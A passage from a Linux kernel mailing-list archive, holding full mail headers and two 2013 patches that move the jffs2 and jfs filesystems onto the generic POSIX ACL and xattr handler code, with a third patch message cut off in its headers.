oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EDB1629E1C for ; Fri, 20 Dec 2013 07:25:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D9A508F8081 for ; Fri, 20 Dec 2013 05:25:35 -0800 (PST) X-ASG-Debug-ID: 1387545934-04cb6c537e86c390001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id FU2WyX6u4BnuKoj2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:34 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04x-0003IW-Bh; Fri, 20 Dec 2013 13:25:23 +0000 Message-Id: <20131220132523.241669904@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:47 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 12/21] jffs2: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 12/21] jffs2: use generic posix ACL infrastructure Content-Disposition: inline; filename=0012-jffs2-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545934 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux. Signed-off-by: Christoph Hellwig --- fs/jffs2/acl.c | 141 ++++------------------------------------------------ fs/jffs2/acl.h | 7 +-- fs/jffs2/dir.c | 1 + fs/jffs2/file.c | 1 + fs/jffs2/fs.c | 7 +-- fs/jffs2/symlink.c | 1 - fs/jffs2/xattr.c | 9 ++-- 7 files changed, 24 insertions(+), 143 deletions(-) diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 4d6e31b..009ec0b 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -178,10 +178,6 @@ struct posix_acl *jffs2_get_acl(struct inode *inode, int type) char *value = NULL; int rc, xprefix; - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: xprefix = JFFS2_XPREFIX_ACL_ACCESS; @@ -232,13 +228,10 @@ static int __jffs2_set_acl(struct inode *inode, int xprefix, struct posix_acl *a return rc; } -static int jffs2_set_acl(struct inode *inode, int type, struct posix_acl *acl) +int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int rc, xprefix; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: xprefix = JFFS2_XPREFIX_ACL_ACCESS; @@ -277,30 +270,21 @@ static int jffs2_set_acl(struct inode *inode, int type, struct posix_acl *acl) int jffs2_init_acl_pre(struct inode *dir_i, struct inode *inode, umode_t *i_mode) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int rc; cache_no_acl(inode); - if (S_ISLNK(*i_mode)) - return 0; /* Symlink always has no-ACL */ - - acl = jffs2_get_acl(dir_i, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - - if (!acl) { - *i_mode &= ~current_umask(); - } else { - if (S_ISDIR(*i_mode)) - set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - - rc = __posix_acl_create(&acl, GFP_KERNEL, i_mode); - if (rc < 0) - return rc; - if (rc > 0) - set_cached_acl(inode, ACL_TYPE_ACCESS, acl); + rc = posix_acl_create(dir_i, i_mode, &default_acl, &acl); + if (rc) + return rc; + if (default_acl) { + set_cached_acl(inode, ACL_TYPE_DEFAULT, default_acl); + posix_acl_release(default_acl); + } + if (acl) { + set_cached_acl(inode, ACL_TYPE_ACCESS, acl); posix_acl_release(acl); } return 0; @@ -324,106 +308,3 @@ int jffs2_init_acl_post(struct inode *inode) return 0; } - -int jffs2_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int rc; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - acl = jffs2_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (rc) - return rc; - rc = jffs2_set_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return rc; -} - -static size_t jffs2_acl_access_listxattr(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) -{ - const int retlen = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (list && retlen <= list_size) - strcpy(list, POSIX_ACL_XATTR_ACCESS); - return retlen; -} - -static size_t jffs2_acl_default_listxattr(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) -{ - const int retlen = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (list && retlen <= list_size) - strcpy(list, POSIX_ACL_XATTR_DEFAULT); - return retlen; -} - -static int jffs2_acl_getxattr(struct dentry *dentry, const char *name, - void *buffer, size_t size, int type) -{ - struct posix_acl *acl; - int rc; - - if (name[0] != '\0') - return -EINVAL; - - acl = jffs2_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) - return -ENODATA; - rc = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return rc; -} - -static int jffs2_acl_setxattr(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct posix_acl *acl; - int rc; - - if (name[0] != '\0') - return -EINVAL; - if (!inode_owner_or_capable(dentry->d_inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - rc = posix_acl_valid(acl); - if (rc) - goto out; - } - } else { - acl = NULL; - } - rc = jffs2_set_acl(dentry->d_inode, type, acl); - out: - posix_acl_release(acl); - return rc; -} - -const struct xattr_handler jffs2_acl_access_xattr_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_DEFAULT, - .list = jffs2_acl_access_listxattr, - .get = jffs2_acl_getxattr, - .set = jffs2_acl_setxattr, -}; - -const struct xattr_handler jffs2_acl_default_xattr_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = jffs2_acl_default_listxattr, - .get = jffs2_acl_getxattr, - .set = jffs2_acl_setxattr, -}; diff --git a/fs/jffs2/acl.h b/fs/jffs2/acl.h index 9b47724..2e2b574 100644 --- a/fs/jffs2/acl.h +++ b/fs/jffs2/acl.h @@ -27,17 +27,14 @@ struct jffs2_acl_header { #ifdef CONFIG_JFFS2_FS_POSIX_ACL struct posix_acl *jffs2_get_acl(struct inode *inode, int type); -extern int jffs2_acl_chmod(struct inode *); +int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int jffs2_init_acl_pre(struct inode *, struct inode *, umode_t *); extern int jffs2_init_acl_post(struct inode *); -extern const struct xattr_handler jffs2_acl_access_xattr_handler; -extern const struct xattr_handler jffs2_acl_default_xattr_handler; - #else #define jffs2_get_acl (NULL) -#define jffs2_acl_chmod(inode) (0) +#define jffs2_set_acl (NULL) #define jffs2_init_acl_pre(dir_i,inode,mode) (0) #define jffs2_init_acl_post(inode) (0) diff --git a/fs/jffs2/dir.c b/fs/jffs2/dir.c index e3aac22..9385560 100644 --- a/fs/jffs2/dir.c +++ b/fs/jffs2/dir.c @@ -59,6 +59,7 @@ const struct inode_operations jffs2_dir_inode_operations = .mknod = jffs2_mknod, .rename = jffs2_rename, .get_acl = jffs2_get_acl, + .set_acl = jffs2_set_acl, .setattr = jffs2_setattr, .setxattr = jffs2_setxattr, .getxattr = jffs2_getxattr, diff --git a/fs/jffs2/file.c b/fs/jffs2/file.c index 1506673..256cd19 100644 --- a/fs/jffs2/file.c +++ b/fs/jffs2/file.c @@ -66,6 +66,7 @@ const struct file_operations jffs2_file_operations = const struct inode_operations jffs2_file_inode_operations = { .get_acl = jffs2_get_acl, + .set_acl = jffs2_set_acl, .setattr = jffs2_setattr, .setxattr = jffs2_setxattr, .getxattr = jffs2_getxattr, diff --git a/fs/jffs2/fs.c b/fs/jffs2/fs.c index 09b3ed4..a69e426 100644 --- a/fs/jffs2/fs.c +++ b/fs/jffs2/fs.c @@ -190,15 +190,16 @@ int jffs2_do_setattr (struct inode *inode, struct iattr *iattr) int jffs2_setattr(struct dentry *dentry, struct iattr *iattr) { + struct inode *inode = dentry->d_inode; int rc; - rc = inode_change_ok(dentry->d_inode, iattr); + rc = inode_change_ok(inode, iattr); if (rc) return rc; - rc = jffs2_do_setattr(dentry->d_inode, iattr); + rc = jffs2_do_setattr(inode, iattr); if (!rc && (iattr->ia_valid & ATTR_MODE)) - rc = jffs2_acl_chmod(dentry->d_inode); + rc = posix_acl_chmod(inode, inode->i_mode); return rc; } diff --git a/fs/jffs2/symlink.c b/fs/jffs2/symlink.c index 6e56333..c7c77b0 100644 --- a/fs/jffs2/symlink.c +++ b/fs/jffs2/symlink.c @@ -22,7 +22,6 @@ const struct inode_operations jffs2_symlink_inode_operations = { .readlink = generic_readlink, .follow_link = jffs2_follow_link, - .get_acl = jffs2_get_acl, .setattr = jffs2_setattr, .setxattr = jffs2_setxattr, .getxattr = jffs2_getxattr, diff --git a/fs/jffs2/xattr.c b/fs/jffs2/xattr.c index 3034e97..ad0f2e2 100644 --- a/fs/jffs2/xattr.c +++ b/fs/jffs2/xattr.c @@ -22,6 +22,7 @@ #include #include #include +#include #include #include "nodelist.h" /* -------- xdatum related functions ---------------- @@ -921,8 +922,8 @@ const struct xattr_handler *jffs2_xattr_handlers[] = { &jffs2_security_xattr_handler, #endif #ifdef CONFIG_JFFS2_FS_POSIX_ACL - &jffs2_acl_access_xattr_handler, - &jffs2_acl_default_xattr_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif &jffs2_trusted_xattr_handler, NULL @@ -942,10 +943,10 @@ static const struct xattr_handler *xprefix_to_handler(int xprefix) { #endif #ifdef CONFIG_JFFS2_FS_POSIX_ACL case JFFS2_XPREFIX_ACL_ACCESS: - ret = &jffs2_acl_access_xattr_handler; + ret = &posix_acl_access_xattr_handler; break; case JFFS2_XPREFIX_ACL_DEFAULT: - ret = &jffs2_acl_default_xattr_handler; + ret = &posix_acl_default_xattr_handler; break; #endif case JFFS2_XPREFIX_TRUSTED: -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75AC429E2D for ; Fri, 20 Dec 2013 07:25:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5260E304090 for ; Fri, 20 Dec 2013 05:25:38 -0800 (PST) X-ASG-Debug-ID: 1387545936-04cbb04167864450001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id NDYLoN7Ha8b1Pc8C (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:36 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04y-0003LB-3s; Fri, 20 Dec 2013 13:25:24 +0000 Message-Id: <20131220132523.988238726@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:51 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Dave Kleikamp Subject: [PATCH 16/21] jfs: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 16/21] jfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0016-jfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387545936 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Copy the scheme I introduced to btrfs many years ago to only use the xattr handler for ACLs, but pass plain attrs straight through. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Kleikamp --- fs/jfs/acl.c | 105 ++++++++++++++++++++------------------------------ fs/jfs/file.c | 4 +- fs/jfs/jfs_acl.h | 7 +--- fs/jfs/jfs_xattr.h | 2 + fs/jfs/namei.c | 1 + fs/jfs/super.c | 2 + fs/jfs/xattr.c | 108 ++++++++++++++++++---------------------------------- 7 files changed, 89 insertions(+), 140 deletions(-) diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c index 28d529a..e973b85 100644 --- a/fs/jfs/acl.c +++ b/fs/jfs/acl.c @@ -72,7 +72,7 @@ struct posix_acl *jfs_get_acl(struct inode *inode, int type) return acl; } -static int jfs_set_acl(tid_t tid, struct inode *inode, int type, +static int __jfs_set_acl(tid_t tid, struct inode *inode, int type, struct posix_acl *acl) { char *ea_name; @@ -80,21 +80,22 @@ static int jfs_set_acl(tid_t tid, struct inode *inode, int type, int size = 0; char *value = NULL; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - switch(type) { - case ACL_TYPE_ACCESS: - ea_name = POSIX_ACL_XATTR_ACCESS; - break; - case ACL_TYPE_DEFAULT: - ea_name = POSIX_ACL_XATTR_DEFAULT; - if (!S_ISDIR(inode->i_mode)) - return acl ? -EACCES : 0; - break; - default: - return -EINVAL; + switch (type) { + case ACL_TYPE_ACCESS: + ea_name = POSIX_ACL_XATTR_ACCESS; + rc = posix_acl_equiv_mode(acl, &inode->i_mode); + if (rc < 0) + return rc; + if (rc == 0) + acl = NULL; + break; + case ACL_TYPE_DEFAULT: + ea_name = POSIX_ACL_XATTR_DEFAULT; + break; + default: + return -EINVAL; } + if (acl) { size = posix_acl_xattr_size(acl->a_count); value = kmalloc(size, GFP_KERNEL); @@ -114,65 +115,43 @@ out: return rc; } +int jfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + int rc; + tid_t tid; + + tid = txBegin(inode->i_sb, 0); + mutex_lock(&JFS_IP(inode)->commit_mutex); + rc = __jfs_set_acl(tid, inode, type, acl); + if (!rc) + rc = txCommit(tid, 1, &inode, 0); + txEnd(tid); + mutex_unlock(&JFS_IP(inode)->commit_mutex); + return rc; +} + int jfs_init_acl(tid_t tid, struct inode *inode, struct inode *dir) { - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; int rc = 0; - if (S_ISLNK(inode->i_mode)) - return 0; + rc = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (rc) + return rc; - acl = jfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); + if (default_acl) { + rc = __jfs_set_acl(tid, inode, ACL_TYPE_DEFAULT, default_acl); + posix_acl_release(default_acl); + } if (acl) { - if (S_ISDIR(inode->i_mode)) { - rc = jfs_set_acl(tid, inode, ACL_TYPE_DEFAULT, acl); - if (rc) - goto cleanup; - } - rc = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (rc < 0) - goto cleanup; /* posix_acl_release(NULL) is no-op */ - if (rc > 0) - rc = jfs_set_acl(tid, inode, ACL_TYPE_ACCESS, acl); -cleanup: + if (!rc) + rc = __jfs_set_acl(tid, inode, ACL_TYPE_ACCESS, acl); posix_acl_release(acl); - } else - inode->i_mode &= ~current_umask(); + } JFS_IP(inode)->mode2 = (JFS_IP(inode)->mode2 & 0xffff0000) | inode->i_mode; return rc; } - -int jfs_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int rc; - tid_t tid; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - acl = jfs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (rc) - return rc; - - tid = txBegin(inode->i_sb, 0); - mutex_lock(&JFS_IP(inode)->commit_mutex); - rc = jfs_set_acl(tid, inode, ACL_TYPE_ACCESS, acl); - if (!rc) - rc = txCommit(tid, 1, &inode, 0); - txEnd(tid); - mutex_unlock(&JFS_IP(inode)->commit_mutex); - - posix_acl_release(acl); - return rc; -} diff --git a/fs/jfs/file.c b/fs/jfs/file.c index dd7442c..794da94 100644 --- a/fs/jfs/file.c +++ b/fs/jfs/file.c @@ -19,6 +19,7 @@ #include #include +#include #include #include "jfs_incore.h" #include "jfs_inode.h" @@ -131,7 +132,7 @@ int jfs_setattr(struct dentry *dentry, struct iattr *iattr) mark_inode_dirty(inode); if (iattr->ia_valid & ATTR_MODE) - rc = jfs_acl_chmod(inode); + rc = posix_acl_chmod(inode, inode->i_mode); return rc; } @@ -143,6 +144,7 @@ const struct inode_operations jfs_file_inode_operations = { .setattr = jfs_setattr, #ifdef CONFIG_JFS_POSIX_ACL .get_acl = jfs_get_acl, + .set_acl = jfs_set_acl, #endif }; diff --git a/fs/jfs/jfs_acl.h b/fs/jfs/jfs_acl.h index ad84fe5..489f993 100644 --- a/fs/jfs/jfs_acl.h +++ b/fs/jfs/jfs_acl.h @@ -21,8 +21,8 @@ #ifdef CONFIG_JFS_POSIX_ACL struct posix_acl *jfs_get_acl(struct inode *inode, int type); +int jfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); int jfs_init_acl(tid_t, struct inode *, struct inode *); -int jfs_acl_chmod(struct inode *inode); #else @@ -32,10 +32,5 @@ static inline int jfs_init_acl(tid_t tid, struct inode *inode, return 0; } -static inline int jfs_acl_chmod(struct inode *inode) -{ - return 0; -} - #endif #endif /* _H_JFS_ACL */ diff --git a/fs/jfs/jfs_xattr.h b/fs/jfs/jfs_xattr.h index e9e100f..e8d717d 100644 --- a/fs/jfs/jfs_xattr.h +++ b/fs/jfs/jfs_xattr.h @@ -61,6 +61,8 @@ extern ssize_t jfs_getxattr(struct dentry *, const char *, void *, size_t); extern ssize_t jfs_listxattr(struct dentry *, char *, size_t); extern int jfs_removexattr(struct dentry *, const char *); +extern const struct xattr_handler *jfs_xattr_handlers[]; + #ifdef CONFIG_JFS_SECURITY extern int jfs_init_security(tid_t, struct inode *, struct inode *, const struct qstr *); diff --git a/fs/jfs/namei.c b/fs/jfs/namei.c index aa8a337..d59c7de 100644 --- a/fs/jfs/namei.c +++ b/fs/jfs/namei.c @@ -1524,6 +1524,7 @@ const struct inode_operations jfs_dir_inode_operations = { .setattr = jfs_setattr, #ifdef CONFIG_JFS_POSIX_ACL .get_acl = jfs_get_acl, + .set_acl = jfs_set_acl, #endif }; diff --git a/fs/jfs/super.c b/fs/jfs/super.c index 6669aa2..e2b7483 100644 --- a/fs/jfs/super.c +++ b/fs/jfs/super.c @@ -44,6 +44,7 @@ #include "jfs_imap.h" #include "jfs_acl.h" #include "jfs_debug.h" +#include "jfs_xattr.h" MODULE_DESCRIPTION("The Journaled Filesystem (JFS)"); MODULE_AUTHOR("Steve Best/Dave Kleikamp/Barry Arndt, IBM"); @@ -522,6 +523,7 @@ static int jfs_fill_super(struct super_block *sb, void *data, int silent) */ sb->s_op = &jfs_super_operations; sb->s_export_op = &jfs_export_operations; + sb->s_xattr = jfs_xattr_handlers; #ifdef CONFIG_QUOTA sb->dq_op = &dquot_operations; sb->s_qcop = &dquot_quotactl_ops; diff --git a/fs/jfs/xattr.c b/fs/jfs/xattr.c index d3472f4..5324e4e 100644 --- a/fs/jfs/xattr.c +++ b/fs/jfs/xattr.c @@ -666,81 +666,12 @@ static int ea_put(tid_t tid, struct inode *inode, struct ea_buffer *ea_buf, } /* - * can_set_system_xattr - * - * This code is specific to the system.* namespace. It contains policy - * which doesn't belong in the main xattr codepath. - */ -static int can_set_system_xattr(struct inode *inode, const char *name, - const void *value, size_t value_len) -{ -#ifdef CONFIG_JFS_POSIX_ACL - struct posix_acl *acl; - int rc; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - /* - * POSIX_ACL_XATTR_ACCESS is tied to i_mode - */ - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, value_len); - if (IS_ERR(acl)) { - rc = PTR_ERR(acl); - printk(KERN_ERR "posix_acl_from_xattr returned %d\n", - rc); - return rc; - } - if (acl) { - rc = posix_acl_equiv_mode(acl, &inode->i_mode); - posix_acl_release(acl); - if (rc < 0) { - printk(KERN_ERR - "posix_acl_equiv_mode returned %d\n", - rc); - return rc; - } - mark_inode_dirty(inode); - } - /* - * We're changing the ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_ACCESS); - - return 0; - } else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, value_len); - if (IS_ERR(acl)) { - rc = PTR_ERR(acl); - printk(KERN_ERR "posix_acl_from_xattr returned %d\n", - rc); - return rc; - } - posix_acl_release(acl); - - /* - * We're changing the default ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_DEFAULT); - - return 0; - } -#endif /* CONFIG_JFS_POSIX_ACL */ - return -EOPNOTSUPP; -} - -/* * Most of the permission checking is done by xattr_permission in the vfs. - * The local file system is responsible for handling the system.* namespace. * We also need to verify that this is a namespace that we recognize. */ static int can_set_xattr(struct inode *inode, const char *name, const void *value, size_t value_len) { - if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) - return can_set_system_xattr(inode, name, value, value_len); - if (!strncmp(name, XATTR_OS2_PREFIX, XATTR_OS2_PREFIX_LEN)) { /* * This makes sure that we aren't trying to set an @@ -748,7 +679,7 @@ static int can_set_xattr(struct inode *inode, const char *name, * with "os2." */ if (is_known_namespace(name + XATTR_OS2_PREFIX_LEN)) - return -EOPNOTSUPP; + return -EOPNOTSUPP; return 0; } @@ -913,6 +844,14 @@ int jfs_setxattr(struct dentry *dentry, const char *name, const void *value, if ((rc = can_set_xattr(inode, name, value, value_len))) return rc; + /* + * If this is a request for a synthetic attribute in the system.* + * namespace use the generic infrastructure to resolve a handler + * for it via sb->s_xattr. + */ + if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return generic_setxattr(dentry, name, value, value_len, flags); + if (value == NULL) { /* empty EA, do not remove */ value = ""; value_len = 0; @@ -986,6 +925,14 @@ ssize_t jfs_getxattr(struct dentry *dentry, const char *name, void *data, { int err; + /* + * If this is a request for a synthetic attribute in the system.* + * namespace use the generic infrastructure to resolve a handler + * for it via sb->s_xattr. + */ + if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return generic_getxattr(dentry, name, data, buf_size); + if (strncmp(name, XATTR_OS2_PREFIX, XATTR_OS2_PREFIX_LEN) == 0) { /* * skip past "os2." prefix @@ -1077,6 +1024,14 @@ int jfs_removexattr(struct dentry *dentry, const char *name) if ((rc = can_set_xattr(inode, name, NULL, 0))) return rc; + /* + * If this is a request for a synthetic attribute in the system.* + * namespace use the generic infrastructure to resolve a handler + * for it via sb->s_xattr. + */ + if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return generic_removexattr(dentry, name); + tid = txBegin(inode->i_sb, 0); mutex_lock(&ji->commit_mutex); rc = __jfs_setxattr(tid, dentry->d_inode, name, NULL, 0, XATTR_REPLACE); @@ -1088,6 +1043,19 @@ int jfs_removexattr(struct dentry *dentry, const char *name) return rc; } +/* + * List of handlers for synthetic system.* attributes. All real ondisk + * attributes are handled directly. + */ +const struct xattr_handler *jfs_xattr_handlers[] = { +#ifdef JFS_POSIX_ACL + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, +#endif + NULL, +}; + + #ifdef CONFIG_JFS_SECURITY static int jfs_initxattrs(struct inode *inode, const struct xattr *xattr_array, void *fs_info) -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DB00129E19 for ; Fri, 20 Dec 2013 07:25:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A7E508F807A for ; Fri, 20 Dec 2013 05:25:36 -0800 (PST) X-ASG-Debug-ID: 1387545935-04bdf00fe0149320001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id CPlyFhPP92aq7C25 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:35 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04x-0003Hy-5Z; Fri, 20 Dec 2013 13:25:23 +0000 Message-Id: <20131220132523.049253715@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:46 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Vyacheslav Dubeyko Subject: [PATCH 11/21] hfsplus: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 11/21] hfsplus: use generic posix 